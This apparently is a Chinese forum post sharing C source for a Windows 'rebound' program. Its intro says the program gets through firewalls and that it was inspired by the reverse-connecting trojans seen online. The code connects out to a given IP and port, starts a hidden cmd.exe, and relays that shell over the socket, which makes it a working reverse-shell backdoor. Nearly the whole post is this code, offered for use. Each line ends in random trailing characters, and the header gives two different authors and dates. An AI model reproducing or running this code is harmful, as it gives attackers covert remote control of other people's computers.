这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qJW>Y}
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/* ============================== b]mRn{r?
Rebound port in Windows NT DB_
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By wind,2006/7 71Ssk|L
===============================*/ u *z $ I
#include /U)w:B+p/g
#include K4xZT+Qb
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#pragma comment(lib,"wsock32.lib") *ZGQ`#1.X6
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void OutputShell(); )xP]rOT
SOCKET sClient; ~@z5Ld3xz
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; t9m:E
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void main(int argc,char **argv) gi:;{
{ tF&%7(EU3
WSADATA stWsaData; uGJeQ
int nRet; \XMl8G
SOCKADDR_IN stSaiClient,stSaiServer; Lq
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if(argc != 3) N{P (ym2yR
{ _Ux>BJmP
printf("Useage:\n\rRebound DestIP DestPort\n"); AUoi$DF(@
return; M.d{:&@`%
} |82V`CV
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,D3q8?j
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); d[rxmEXht
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stSaiClient.sin_family = AF_INET; 7 m&M(ct
stSaiClient.sin_port = htons(0); 7z=Ss'O]
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); TDY}oGmNn
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ^gky i/z
{ 5.VA1
printf("Bind Socket Failed!\n"); 7=T0Sa*;
return; f]5bAs
} ET_}x7
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stSaiServer.sin_family = AF_INET; fXIeCn
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); >6ch[W5k@
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); :":W(O
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0+r/>-3]
{ 4_t
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printf("Connect Error!"); Z/;rM8[{&
return; N~M:+\
} &.7\{q\(
OutputShell(); -mX
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} 15U=2j*.b
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void OutputShell() ,3GM'e{hV
{ w^`n
char szBuff[1024]; R) @k|
SECURITY_ATTRIBUTES stSecurityAttributes; d-N<VVcy\
OSVERSIONINFO stOsversionInfo; ])~*)I~Y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Q6%m}R
STARTUPINFO stStartupInfo; D9H|]W ~
char *szShell; <ze'o.c
PROCESS_INFORMATION stProcessInformation; )CdglPK
unsigned long lBytesRead; O:lD>A4{
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +-ieaF
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *i%!j/QDAP
stSecurityAttributes.lpSecurityDescriptor = 0; 348Bu7':
stSecurityAttributes.bInheritHandle = TRUE; &R*d/~SU
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |nD2k,S<?
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); {,s:vPoiA
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); eIof{#
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; zq4mT;rqz
stStartupInfo.wShowWindow = SW_HIDE; Cn28&$:J
stStartupInfo.hStdInput = hReadPipe; L<8y5B~W
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [.<vISRir
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GetVersionEx(&stOsversionInfo); )\VUAD%~e7
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switch(stOsversionInfo.dwPlatformId) CF42KNq
{ y62;&{?m
case 1: ItOVx!"@9
szShell = "command.com"; i,4JS,82I
break; 7BI0g@$Nn]
default: z+-k4
szShell = "cmd.exe"; Z[({; WtF
break; 7)_0jp~2
} }E/L:
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); RE"}+D
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send(sClient,szMsg,77,0); wau81rSd
while(1) 79x^zqLb
{ *^.b}K%
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); -BoN}xE4
if(lBytesRead) I}k!i+Yl
{ B[$KnQM9Y
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); o~iL aN\+
send(sClient,szBuff,lBytesRead,0); })!n1kt
} ARU,Wtj#
else e2B~j3-?z
{ C|!E'8Rw
lBytesRead=recv(sClient,szBuff,1024,0); >Q+EqT
if(lBytesRead<=0) break;
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); k+i}U9c"
} NqF-[G<
} mup3ua]!
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return; ojIh;e
}